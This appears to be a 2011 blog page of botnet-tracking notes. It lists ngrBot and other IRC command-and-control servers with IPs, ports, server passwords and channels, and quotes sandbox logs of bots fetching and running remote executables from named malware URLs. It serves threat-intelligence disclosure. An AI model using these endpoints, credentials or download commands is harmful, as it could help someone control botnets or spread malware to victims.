Month: October 2011

109.68.191.168(ngrBot hosted in Russian Federation Moscow Jsc Tel Company)

Remote Host Port Number 109.68.191.168 7654 PASS ngrBot 199.15.234.7 80 74.52.121.37 80 NICK n{US|XPa}woqkvpd USER woqkvpd 0 0 :woqkvpd JOIN #oldgold noKIDs JOIN #US PRIVMSG #oldgold :[d=”http://muralihostal.com/clientes/fu66.exe” s=”7455 bytes”] Update error: MD5 mismatch (5B6D6ED8BFC9B90BF020566BED59FB14 != 00bbd4ef64ffca28833b1d173b29c3e6) * The data identified by the following URLs was then requested from the remote web server: o http://api.wipmania.com/ o

109.68.191.185(ngrBot hosted in Russian Federation Moscow Jsc Tel Company)

Remote Host Port Number 109.68.191.185 7777 PASS laekin0505x 199.115.229.189 80 199.15.234.7 80 NICK n{US|XPa}lwndarv USER lwndarv 0 0 :lwndarv JOIN #totalrenovation2011 ngrBot PRIVMSG #totalrenovation2011 :[d=”http://juazjuaz.com/cipha.exe” s=”114688 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.exe” – Download retries: 0 PRIVMSG #totalrenovation2011 :[d=”http://juazjuaz.com/Winsoft.exe” s=”167936 bytes”] Updated bot file “C:Documents and SettingsUserNameApplication DataMcxaxm.exe” – Download retries: 0 * The

Trojan.Win32.Jorik.Zbot.vf(hosted in Lithuania Siauliai Splius Uab)

HTTP malware spreading through networks know as palevo worm exe files: http://fa715921.urlbeat.net http://b7b0380e.goneviral.com config file: http://04ed4837.tubeviral.com Bot panel used to control zombies: Download panel: http://cec3f665.ultrafiles.net http://8b47fd59.tinylinks.co virustotal scan: 4 /43 (9.3%) http://www.virustotal.com/file-scan/report.html?id=31cf7e82afe834189765aadb4d3b057c8a5bdbafd0236ac3717945de644ea134-1319067167

70.34.194.26(100k ngrBotnet hosted in United States Canton Wbs4.me)

The guy behind this large net is hf user and he’s very l33t hecker here his monster net now open for public visits lol 8 leafs with probably 15k bots inside every leaf i estimate it around 100k bots server: 109.68.191.156 TCP port 1888 server: 109.68.191.159 TCP port 1888 server: 31.214.201.175 TCP port 1888 Server:

ng.albanianetwork.com(ngrBot hosted in Netherlands Amsterdam Ecatel Ltd)

Real heckers and very hard to know from where lamers belong(look at domain name) ng.albanianetwork.com 89.248.168.87 api.wipmania.com api.wipmania.com 199.15.234.7 gn.albacrew.com 89.248.168.87 Download URLs http://199.15.234.7/ (api.wipmania.com) Outgoing connection to remote server: ng.albanianetwork.com TCP port 6869 Outgoing connection to remote server: api.wipmania.com TCP port 80 Outgoing connection to remote server: ng.albanianetwork.com TCP port 9731 Outgoing connection to

safetysamvps.info(irc botnet hosted in United States Walnut Psychz Networks)

safetysamvps.info 199.119.201.232 Server: 199.119.201.232:6667 Server Password: Username: Catalyst21 Nickname: n{DEU|XP-32}214249 Channel: #Catalyst (Password: ) Channeltopic: Now talking in #catalyst Topic On: [ #catalyst ] [ IRC ] Topic By: [ Execute ] hosting infos: http://whois.domaintools.com/199.119.201.232

api.trafficnum.net(irc botnet hosted in United States San Antonio Slicehost)

api.trafficnum.net 184.106.152.29 Server: 184.106.152.29:2345 Server Password: Username: x Nickname: n[DEU|XP]7983462 Channel: #!prbla! (Password: ) Channeltopic: :.m /125/125/85/84/52/33/11/110/108/114/59/118/70/112/100/115/112/96/55/69/127/100/42/54/28/33/17/63/48/51/ Topic By: [ spin ] hosting infos: http://whois.domaintools.com/184.106.152.29

88.13.254.233(ngrBot hosted in Spain Telefonica De Espana)

Remote Host Port Number 199.15.234.7 80 50.17.217.128 80 83.233.33.6 80 88.13.254.233 4242 PASS secret PRIVMSG ##n :[DNS]: Blocked 1310 domain(s) – Redirected 0 domain(s) NICK n{US|XPa}egiruwp USER egiruwp 0 0 :egiruwp PONG :ED4B405C JOIN ##n secret PRIVMSG ##n :[d=”http://dl.dropbox.com/u/40789812/Comet1185501.exe” s=”279040 bytes”] Updated bot file “C:Documents and SettingsUserNameApplication DataScxaxs.exe” – Download retries: 0 hosting infos: http://whois.domaintools.com/88.13.254.233